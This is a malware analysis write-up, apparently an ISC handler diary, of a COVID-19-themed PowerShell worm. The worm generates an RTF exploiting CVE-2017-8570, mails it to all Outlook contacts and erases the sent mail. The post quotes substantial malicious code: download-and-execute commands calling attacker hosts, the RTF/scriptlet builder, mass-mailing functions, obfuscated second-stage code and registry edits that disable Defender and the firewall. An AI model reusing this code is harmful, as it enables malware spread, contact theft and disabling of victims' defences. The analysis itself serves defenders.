Weaponized RTF Document Generator & Mailer in PowerShell
Another piece of malicious PowerShell script that I found while hunting. Like many malicious activities that occur in those days, it is related to the COVID19 pandemic. Its purpose of simple: It checks if Outlook is used by the victim and, if it's the case, it generates a malicious RTF document that is spread to all contacts extracted from Outlook. Let's have a look at it. The script is available on VT (SHA256: 1f7f0d75fe5dace66ec9b5935d28ba02765527f09f58345c2e33e17ab4c91bd7) and has a low score of 8/60[1].
First, it performs malicious activity only if Outlook is available on the victim's computer:
if((get-childitem C:\Users\$env:username\AppData\Local\Microsoft\Outlook).count -gt 1) { ... }
If the test is successful, a malicious RTF document is generated and dumped on disk ('urgent.doc'). Here is the beautified code. Most of the code was compressed and Base64-encoded.
$gdoc_cmd='cmd /c powershell IEx(New-Object Net.WebClient)."DownLoadString"(''hxxp://t[.]awcna[.]com/mail.jsp?%username%*%computername%'')' $dde_cmd='powershell IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString(''hxxp://t[.]awcna[.]com/mail.jsp?dde*%username%*%computername%'')&' $att=$env:tmp+"\urgent.doc" $gdoc_title='PROTECTED DOCUMENT' $gdoc_text='This file is protected by Microsoft Office.Please enable Editing and Content to see this document.' function str2hex($str) { -join([Text.Encoding]::UTF8.getbytes($str)|foreach{$_.ToString('x2')}) } function u162hex($str){ -join([Text.Encoding]::Unicode.getbytes($str)|foreach{$_.ToString('x2')}) } function int2hex($num){ [bitconverter]::ToString([BitConverter]::getBytes([int32]$num)).replace("-","").tolower() } $cmd=$gdoc_cmd.replace("'","\'") $filename=-join([char[]](48..57+65..90+97..122)|Get-Random -Count 15)+".sct" $filename="7UFNDWH1X5OPDY1.sct" $fakepath="C:\fakepath\$filename" $data=@" <?XML version="1.0"?> <scriptlet> <registration description="fjzmpcjvqp" progid="fjzmpcjvqp" version="1.00" classid="{204774CF-D251-4F02-855B-2BE70585184B}" remotable="true"> </registration> <script language="JScript"> <![CDATA[ new ActiveXObject("WScript.Shell").Run('$cmd',0,1);window.close(); ]]> </script> </scriptlet> "@.trim()-replace"r","" $package_data="0200"+(str2hex $filename)+"00"+(str2hex $fakepath)+"0000000300"+(int2hex ($fakepath.length+1))+ \ (str2hex $fakepath)+"00"+(int2hex $data.length)+(str2hex $data)+(int2hex $fakepath.length)+ \ (u162hex $fakepath)+(int2hex $filename.length)+(u162hex $filename)+(int2hex $fakepath.length)+(u162hex $fakepath) $header_data="0105000002000000080000005061636b616765000000000000000000"+(int2hex ($package_data.length/2)) $package="{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "+$header_data+$package_data+"0105000000000000}}" $rtf=$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream.(,$([Convert]::FromBase64String(' 7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGA \ qsgfP358Hz8ifvEv/n3r9hfv/BL6WU1+Op+2+JGt27JYvsWv69Usa3P69lv4a1pmTZN+t6pn46fVdL3Il+344Jf8EvM1Nc3Snd2d+zt49nbkeSg/9p/tn+zf \ v7e3f/Lpw09PP32i34bPMf55unPybHf3dOd498nu7vHpbrSl99w7xT87O89Onz3j3j4daGgg9SDqBwZj/RPw8HRbP/vR86Pn/yfP/yuH8VR/qvz1fv7o+dHz \ o+cbef7fCOQ+2eFPn8n/H+yLWd4nn+LTU/n7AX3wQL2Kn41nF/7D/b6dt/4BexvuOQne3h/yPnYe7Ow//fTk+NN7D57cf7pHXoaD4iDj2YW3ROMlwJ/edx// \ 0B54YXvDfs6N77/ns9v1yO7p+MEHhMv+Q5n7Tz8VnvjZfnYxG5gfg5XO0zc+/n392eUYjB9zb8b95GePBl2U8OwCrx/G/CtvP3nQ+dzQ3UiFoX/HD7B00/d/ \ 5B/86PnR837P/xtbq/zvmcxBP14PH2t/H95gl50+udF+7x7LX3v37+/vP72Pnye/ePeX0CekkI+fPj2Vr29+7h3oT0+Z7ZHiu09Kdv+p6ED+m7D4xXu/5OTT \ 42fHT05Pdh8+ePZ0b5d+HHBXzw4e3H9wuqdY3f6xNP2UqON5GUM+i23feR6S9f10x/Nd3vPZxXyC6k9vbPqj54f4/NC6MllBfX4JP79x8v8A')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd() -f $package,(str2hex $filename),(u162hex $filename) $rtf_header=" \ {\rtf1\adeflang1025\ansi\ansicpg936\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang103 \ 3\deflangfe2052\themelang1033\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 020206030 \ 50405020304}Times New Roman;} {\f13\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}{\f34\fbidi \froman\ \ fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;} ... \fs21\lang1033\langfe2052\kerning2\loch\af31506\hich\af31506\dbch\af31505\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af3 \ 1507\afs60 \ltrch\fcs0 \b\fs60\insrsid338069 \hich\af31506\dbch\af31505\loch\f31506 AAAAAAAA}{\rtlch\fcs1 \af31507\afs60 \ \ltrch\fcs0 \b\fs60\insrsid859070\charrsid859070\par }{\rtlch\fcs1 \af31507 \ltrch\fcs0 \lang1024\langfe1024\noproof\insr \ sid338069 {\shp{\*\shpinst\shpleft397\shptop564\shpright8667\shpbottom4384\shpfhdr0\shpbxcolumn\shpbxignore\shpbypara\shp \ byignore\shpwr3\shpwrk0\shpfblwtxt0\shpz0\shplid1026 ... \hich\af31506\dbch\af31505\loch\f31506 BBBBBBBB}{\rtlch\fcs1 \af31507\afs28 \ltrch\fcs0 \fs28\cf6\insrsid859070 ... \af31507\afs28 \ltrch\fcs0 \fs28\cf6\insrsid7149827\charrsid7149827 \hich\af31506\dbch\af31505\loch\f31506 C:\\\\Programs \ \\\\Microsoft\\\\Office}{\rtlch\fcs1 \af31507\afs28 \ltrch\fcs0 \fs28\cf6\insrsid7149827 \\\\\hich\af31506\dbch\af31505\l \ och\f31506 12}{\rtlch\fcs1 \af31507\afs28 \ltrch\fcs0 \fs28\cf6\insrsid7149827\charrsid7149827 \\\\\hich\af31506\dbch\af3 \ 1505\loch\f31506 MSWord\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\system32\\\\cmd.exe /c}{\rtlch\fcs1 \af31507\afs28 \l \ trch\fcs0\fs28\cf6\insrsid7149827 \hich\af31506\dbch\af31505\loch\f31506 calc.exe" }{\rtlch\fcs1 \af31507\afs28 \ltrch\f \ cs0 \fs28\cf6\insrsid748411 \hich\af31506\dbch\af31505\loch\f31506 "Microsoft Office Remote \hich\af31506\dbch\af31505\lo \ ch\f31506 Database" } ... \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority31 \lsdlocked0 Subtle Reference;\lsdsemihidden0 \lsdunhideused0 \ \lsdqformat1 \lsdpriority32 \lsdlocked0 Intense Reference;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority33 \ls \ dlocked0 Book Title;\lsdpriority37 \lsdlocked0 Bibliography;\lsdqformat1 \lsdpriority39 \lsdlocked0 TOC Heading;}}" .replace("AAAAAAAA",$gdoc_title).replace("BBBBBBBB",$gdoc_text).replace("calc.exe",$dde_cmd) ($rtf_header+$rtf.substring(3))|out-file -encoding ascii $att
The code is much more longer but I kept only the relevant part where the attacker replaces 'AAAAAAAA' by the document title, 'BBBBBBBB' by some juicy text and finally the 'calc.exe' command by his own malicious recipe (a Powershell script).
The generated document (SHA256:88917f08fd169a257de0a015e83dcc11a41f5a87138d66a79e98b078bf804939) has a VT score of 31/59 on VT[2] and here is how it looks when opened:
Once the document generated, it is sent to all contacts found in Outlook:
$global:contacts=@() $curr_date=Get-Date -Format "yyyy-MM-dd" # Extract email addresses function get_contacts($ol_folders) { $folders=$ol_folders.folders if($folders.count -ge 1){ foreach($folder in $folders) { get_contacts($folder) } } foreach($item in $ol_folders.items) { $global:contacts+=$item.Email1Address } } # Cover our tracks and delete sent emails function del_sendmail($subject,$address,$flag) { $ol_out=$ol.Session.GetDefaultFolder($flag) $tcount=$ol_out.items.count for($i=$tcount;($i -gt 0) -and ($i -gt ($tcount-200));$i--) { $item = $ol_out.items.item($i) if($item.subject -eq $subject){ $item.Delete() write-host "Delete mail of subject:$subject..." } } } $ol=New-Object -Com outlook.application get_contacts($ol.Session.GetDefaultFolder(10)) $contacts=$contacts|select -uniq # Extract the victim's email address $muser=$ol.session.accounts.item(1).smtpaddress # This URL returns a 404 :( IEX(New-object net.webclient).downloadstring("hxxp://207[.]154[.]225[.]82/report.json?type=mail&u=$muser&c="+$contacts.count) $mail_subject_search="The Truth of COVID-19" $mail_subject="The Truth of COVID-19 ????????????" $mail_body="Virus actually comes from United States of America" del_sendmail $mail_subject_search "" 6 # Send the malicious RTF to all contacts foreach($contact in $contacts) { $mail=$ol.CreateItem(0) $mitem=$mail.Recipients.Add($contact) $mail.Subject = $mail_subject $mail.Body = $mail_body $mail.Attachments.Add($att,1,1,"urgent.doc") $Mail.Send() write-host "Send mail to $contact succ..." sleep 5 del_sendmail $mail_subject_search $contact 4 del_sendmail $mail_subject_search $contact 5 del_sendmail $mail_subject_search $contact 3 } # Cover our tracks, delete the RTF doc remove-item $att
Now, let's have a look at the second stage. Once, the RTF document is opened, it tries to exploit the well-know CVE-2017-8570. If successfully exploited, it triggers the execution of the following command:
powershell IEx(New-Object Net.WebClient)."DownLoadString"('hxxp://t[.]awcna[.]com/mail.jsp?username*computername')
The downloaded piece of PowerShell code is nicely obfuscated: The code can be reversed (right to left) and many strings are used to pollute the code. Here is a sample of the code:
" $($Ofs='')"+ ([sTRiNg] [RegEX]::maTChes("))63]RaHC[]GnirTs[,)89]RaHC[+66]RaHC[+55]RaHC[((eCALPer.)93]RaHC[]GnirTs[,)401]RaHC[+77]RaHC[+021]RaHC[((eCALPer.)' ))421]rAHC[,hMxV13hMx EcALPerC-63]rAHC[,hMx5VehMxEcALPerC-93]rAHC[,)28]rAHC[+87]rAHC[+84]rAHC[( eCaLpeR- 69]rAH'+'C[,)11'+'1]rAHC[+18]rAHC[+77]rAHC[( EcALPerC-43]rAHC[,)67]rAHC[+68]rAHC[+58]rAHC[(eCa'+'LpeR- 29]rAHC[,hMxK6phMx eCa'+'LpeR-)hMxF/ astR nt/ eteled/ skhMx+hMxsath'+'cs F/ 1astR nt/ eteledhMx+hMx/ sksathcs F/hMx+hMx 2astR nt/ eteled/ sksathcs } } 5'+' peels-trats ... )LV'+'UrotartsinimdALVU ]eloRnItliuBswodniW.lapicnirP.ytiruceS[(eloRnIsI.))(tnerruCteG::]ytitnedIswodniW.lapicnirP.ytiruceS[]lapicnirPsw'+'odnihMx+hMxW.lapicnirP.ytiruceS[(=as5Ve '+'RN0LVU})m5Ve]][rahc[nioj-'+'(XEI{)RN0RN03441e0fa0c347d9b98e7bee8a2dda94aRN0RN0qe-s5Ve(fi;})RN0RN02xRN0RN0(gnirtSoT._'+'5Ve=+s5Ve{hcaer'+'ofV13)m5VehMx+hMx(hsaHetupmoC.)(etaerC::]5DM.yhpargotpyrC.ytiruceS.metsyS[;)y5Ve(LVUataDdaolnwoDLVU'+'.)tneiloQMCbeW.teN '+'tceoQMjbO-woQMeN(=m5Ve;RN0RN0RN0+hMx+hMxv5Ve+RN0pRN0R'+'NhMx+hMx0+y5Ve=z5Ve;RN0RN0sj.LhMx+hMxTC/RN0RN0+x5Ve+RN0RN0//:ptthRN0RN0=y5Ve;PER;RN0RN02U_RN0RN0+RN0RN01U_RN0RN0=x5Ve;RN0RN0T_RN0RN0=kcuD_nomeL5VeRN0+RN0LVU c-RN0=spmt5Ve )RN0ddMMyyyyRN0 tamroF- etaDhMx+hMx-teG(+LVU_}v{5Ve?LVU=v5Ve 1 gnirotinoMemitlaeRelbhMx+hMxasihMx+hMx'+'D- echMx+hMxnereferPp'+'MhMx+hMx-teS 1 '+'hMx+hMxeulaV- RN0RSelabsiDRN0 emahMx+h'+'MxN- RN0er'+'otseRmetsySK6pnoisreVtnerruCK6pTN swodniWK6ptfosorciMK6pERAWTFOSK6p:MLKHRN0 htaP- ytreporPmetI-teS } 1 eulaV- k5Ve emaN- RN0cvSK6pretneC ytiruceSK6ptf'+'osor'+'ciMK6pERAWTFOSK6p:MLKHRN0 htaP- ytreporPmetI-teS 1 eulaV- k5Ve emaN- RN0retn'+'eC ytiruceSK6ptfosorciMK6pERAWTFOSK6p:MLKHRN0 htaP- ytreporPmetI-teS hMx+hMx{))RN0yfi'+'toNelbasiDllaweriFRN0,RN0yfitoNelbasiDetadpUotuARN0,RN0yfitoNelbasiDetadpURhMx+hMxN0,RN0yfitohMx+hMxNelbasiDsuriVitnARN0,RN0edirrevOllawerhMx+hMxiFRN0,RN0edirrehM'+'x+hM'+'xvOetadpURNhMx+hMx0,RN0ehMx+hMxdhMx+hMxirrevOshMx+hMxuriVitnARN0'+'(@ ni k5Ve(hcaerof }1 eulaV- k5hMx+hMxVe emaN- RN0noitcetorP emiT-laeRK6prednefeD swodniWK6ptfosorciMK6pse'+'iciloPK6pERAWThMx+hMxFOShMx+hMxK6p:MLKHRN0 htaP- ythMx+'+'hMxreporPmetI-teS{))RN0elbanEemitlaeRnOnacSelbasiDRNhMx+hMx0,RN0noitcetorPsseccAnOelbasiDRN0,RN0gnirotinoMroivaheBelbasiDRN0(@ ni k5Ve(hchMx+hMxaerof 1 eulaV- RN0erawypSitnAelbasiDRN0 emaN- hMx+hMxRN0rednefeD swodniWK6ptfosorciMK6pseic'+'iloPK6pERAWTFOSK6p:MLKHRhMx+hMxN0'+' htaP- ytreporPmehMx+hMxtI-teShMx('+'(( )hMxhMxNioj-hMxxhMx+]3,1[)ecNerEfErpesobRE'+'vbB7]GNirTS['+'( ( '+'. '(( )''NiOJ-]2,11,3[Eman.)'*RDM*' elBaIRav-teG(( & " ,'.', 'R'+'IgH'+'t'+'ToLeft' )|FOreAcH{ $_} )+"$(SeT-iTEM 'vAriAbLE:OFs' ' ')"| . ( $Shellid[1]+$SHeLLId[13]+'x')
Once decode, we have a clear view of the code. The script tries to disable Windows security features:
foreach(k in @(DisableBehaviorMonitoring, DisableOnAccessProtection, DisableScanOnRealtimeEnable)) { Set-ItemProperty -Path HKLM:SOFTWARE:Policies:Microsoft:Windows DefenderReal-Time Protection -Name k -Value 1 } foreach(k in @(AntiVirusOverride, UpdateOverride, FirewallOverride, AntiVirusDisableNotify, UpdateDisableNotify, AutoUpdateDisableNotify, FirewallDisableNotify)) { Set-ItemProperty -Path HKLM:SOFTWARE:Microsoft:Security Center -Name k -Value 1 Set-ItemProperty -Path HKLM:SOFTWARE:MicrosoftS:ecurity CenterSvc -Name k -Value 1 }
Multiple scheduled tasks are created based on a list of domain names:
if(sa){ schtasks /create /ru system /sc MINUTE /mo+ 60 /tn tnftn /F /tr powershell PS_CMD } else { schtasks /create /sc MINUTE /mo 60 /tn tnf+tn /F /tr powershell PS_CMD }
Some domains are hardcoded, others are randomly generated:
PS C:\Users\REM> $us t.tr2q.com t.awcna.com t.amynx.com B2KqAeO1.cn FNW5RAfVvz.jp u7ZTGfP.kr
The executed command is 'powershell PS_CMD' but I did not discover yet how PS_CMD is generated/populated. I was not able to download the next stage, the malware itself...
[1] https://www.virustotal.com/gui/file/1f7f0d75fe5dace66ec9b5935d28ba02765527f09f58345c2e33e17ab4c91bd7/details
[2] https://www.virustotal.com/gui/file/88917f08fd169a257de0a015e83dcc11a41f5a87138d66a79e98b078bf804939/details
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
Comments